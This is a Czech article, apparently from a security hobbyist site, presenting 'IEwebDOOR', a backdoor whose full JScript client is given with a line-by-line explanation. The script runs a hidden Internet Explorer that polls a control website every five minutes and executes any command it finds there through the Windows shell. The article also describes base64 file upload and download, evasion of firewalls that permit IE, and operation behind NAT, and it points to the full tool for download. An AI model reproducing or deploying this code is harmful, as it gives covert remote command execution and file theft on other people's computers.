Původně měl být tento článek určen praktickým ukázkám využití technik, o kterých jsem psal ve svých předchozích článcích. Chtěl jsem zde umístit příklady zdrojových kódů s podrobným popisem a ukázat možnosti backdooru procházejícího firewallem skrz Internet Explorer.
Postupem času, když se řádky zdrojového kódu začaly rozrůstat, jsem celou věc pojal z trochu jiného úhlu a začal vznikat projekt větších rozměrů.
Zabýval jsem se myšlenkou vytvořit backdoor, který se v pravidelných intervalech bude skrz Internet Explorer připojovat na webový server, kde na něj bude čekat příkaz, který má klient vykonat.
V JScriptu lze celou tuto situaci vyřešit tímto jednoduchým kódem, který stačí nakopírovat do textového souboru s příponou .js
- 1. do{
- 2. var oIE = WScript.CreateObject("InternetExplorer.Application");
- 3. oIE.Navigate ("http://www.ovladani.cz");
- 4. oIE.Visible = 0;
- 5. while (oIE.Busy) { WScript.Sleep(200); }
- 6. var prikaz = oIE.Document.Formular.Text.value;
- 7. prikaz = "%COMSPEC% /c " + prikaz
- 8. WshShell.Run (prikaz, false, true);
- 9. oIE.Quit ();
- 10. for (var i = 1; i <= 5; i++) { WScript.Sleep(60000);}
- 11. } while (true);
Popis jednotlivých řádků kódu:
- 1. Začátek nekonečné smyčky mezi řádky 1-11.
- 2. Vytvoření objektu InternetExplorer.
- 3. Navedení na www stránku, kde čeká formulář s příkazem.
- 4. Nastaví IE do režimu skrytého spuštění.
- 5. Čekání na celkové načtení www stránky.
- 6. Do proměnné prikaz načteme obsah textového pole.
- 7. Před příkaz vložíme správný interpret příkazů.
- 8. Spustíme příkaz, který jsme obdrželi z WWW.
- 9. Ukončíme Internet Explorer.
- 10. Počkáme 5 minut.
- 11. Celou operaci zopakujeme.
Sami vidíte, že je kód velice jednoduchý a to jsem se ještě nezmínil o jeho vlastnosti, že dokáže obejít některé firewally, pokud je na nich IE implicitně povolen a také to, že klient může být bez problému umístěn za NATem.
Dá se říci, že celý IEwebDOOR je založen na tomto principu. Pouze jsem jej obohatil o některé funkce, z nichž nejvýznamnější je jistě možnost stahování předložených souborů a odeslání vyžádaných souborů zpět. Toho jsem docílil kódováním souborů pomocí base64 a jejich následným přenesením v prvku textarea. Toto kódování dokáže zašifrovat binární data do podoby běžného textu a není tak problém přenášet je stejným způsobem, jako jsme o pár řádků výše přenášely z textového pole příkazy.
Původně měl být IEwebDOOR šířen jako klient a server, později jsem však od této myšlenky ustoupil, protože ne každý má možnost využívat na svých stránkách aktivního scriptování a databáze. Místo toho jsem nakonec pojal celou záležitost úplně jinak. Serverovou část IEwebDOORu naleznete na stránkách SOOMu v sekci projekty, klient je k dispozici
zde. Máte také možnost si klienta vytvořit v jakémkoliv programovacím jazyce sami a to i tak, aby dokázal procházet skrz jiné webové browsery nebo měl vyřešeny nějaké vychytávky. Ze zdrojového kódu mého klienta by mělo být patrné na jakém principu pracuje a pokud se rozhodnete zveřejnit své výtvory a dát je k dispozici ostatním, neváhejte je včetně zdrojových kódů zaslat na e-mailovou adresu SOOMu.
Poznámka: Při použití projektu IEwebDOOR nezapomínejte na skutečnost, že jeho použití, k jinému účelu než je vzdálená správa vlastních počítačů, je nezákonné a můžete se tak vystavit trestnímu stíhání.
P.S. Závěrem bych chtěl poděkovat Emkeiovi za pomoc při pracích na Webovém rozhraní.
.cCuMiNn.